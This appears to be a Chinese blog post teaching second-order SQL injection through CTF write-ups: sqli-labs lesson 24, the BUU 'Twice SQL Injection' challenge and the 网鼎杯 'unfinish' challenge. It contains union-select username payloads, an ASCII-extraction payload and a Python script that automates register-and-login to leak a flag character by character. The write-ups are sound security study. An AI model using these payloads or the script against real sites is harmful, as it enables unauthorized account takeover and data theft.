当前位置: 首页 > news >正文

二次SQL注入

原理

用户向数据库存入恶意数据,当数据被送进数据库的时候,会对存入的信息进行转义然后再储存,但是存进去的数据会再次被转义回来(也就是原样不变的存进数据库里,只是害怕攻击者在存入数据的时候捣蛋而已),一般默认数据库里的数据都是安全的,所以当用户再次访问时,要从数据库里拿出数据来,这时候就不会再进行转义处理,此时会引起SQL注入

用基本例题来说明原理

以sql靶场的lesson24为例:

先注册一个账号 admin'# 密码随便,这时候因为经过转义,没有造成SQL注入

点击更新密码,更新username为 admin'# 的密码

在更新密码的php中有:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";

 传入username=admin'#后:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'#' and password='$ curr_pass' ";

此时执行的就是:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'

修改的不是admin'#的密码而是admin的

也就是说我们没输入admin当前的密码就直接把admin的密码给改了

BUU October 2019 Twice SQL Injection 1

有个登录界面也有个注册界面,登进去以后有个Info上传功能

 

一开始想从Info入手,先上传上去SQL注入语句,这是上传的过程,然后logout,再登录进去加载Info,就是从数据库中取出数据的过程,然后执行SQL语句,但是一直没成功...

然后看了看wp才知道,原来是在register和login之间玩的啊,考。。。

 先register用户名是恶意语句的账号,这时候就存进去数据库了,然后再login这个账号,此时会从数据库里掏出来这个恶意语句,然后执行SQL命令

register:username=1' union select database() #(末尾有没有 ; 都一样)

 register:username=1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# 

奇了老鼻子怪了,登进去就是啥也没有

跟答案一比较,感觉一模一样啊,为啥不对,然后dp:

出错的原因在于普通空格被当成分隔符,但是全角空格会被当成正常的字符,把它当成任意非空字符看,这时候就会出现单引号闭合不了的问题,产生报错        

              好好好这么玩是吧

剩下的内容就是常规SQL注入了

[网鼎杯 2018]unfinish

花了一张蓝色毛爷爷做的题,疼死我了

打开以后只有登录界面

登录界面怎么可能没有注册界面呢,尝试一下register.php

先注册一个账号,发现是在用户名处回显内容

然后再从用户名里面搞事情,但是我注册了几个诸如 1' union select database() #都登录不进去,好像是被过滤了,我所有招数都被他过滤了呜呜呜

网上看的,利用布尔盲注

全新写法,逐字符泄露database的名字

0'+ascii(substr((select database()) from 1 for 1))+'0

username='0' + [表达式] + '0' ,也就是说在username中会回显出每一个字符的ascii码

感觉这个脚本写的还挺好的,反正我写不出来 

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://node4.anna.nssctf.cn:28137/'

m = ''
for i in range(100):
    #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    #print(html)
    soup = BeautifulSoup(html,'html.parser')
    #print(soup.prettify())
    UserName = soup.span.string
    print(UserName)
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

 

相关文章:

  • 线程安全问题(面试重难点)
  • Python asyncIO 面试题及参考答案 草
  • 【数据结构与算法】Java描述:第二节:LinkedList 链表
  • Python 数据可视化
  • Python包结构与 `__init__.py` 详解
  • FusionInsight MRS云原生数据湖
  • Python贝壳网二手小区数据爬取(2025年3月更)
  • Python教学:语法检测问题-由DeepSeek产生
  • 30-判断子序列
  • Educational Codeforces Round 7 F. The Sum of the k-th Powers 多项式、拉格朗日插值
  • 浏览器信息收集插件之 雪瞳 —— 洞悉无形,守护无界
  • 标量、向量、矩阵与张量:从维度理解数据结构的层次
  • 攻防世界web:NewsCenter(含sqlmap基本参数讲解)
  • 水管滴水漏水检测数据集VOC+YOLO格式2708张1类别
  • MongoDB winx64 msi包安装详细教程
  • 子数组、子串系列(典型算法思想)—— OJ例题算法解析思路
  • Vue3、vue学习笔记
  • 【STM32MP157系统移植】2.烧录TF-A到EMMC
  • KUKA机器人导轨介绍
  • Matlab:矩阵运算篇——矩阵数学运算
  • vue 网站做中英文切换/互联网行业都有哪些工作
  • 牡丹区建设局网站/免费发布信息网平台
  • 隧道建设网站无法登录/百度推广新手入门
  • 数据库怎么做两个网站/长沙弧度seo
  • 培训机构网站建设/北京网络网站推广
  • wordpress微信显示图片/莆田网站建设优化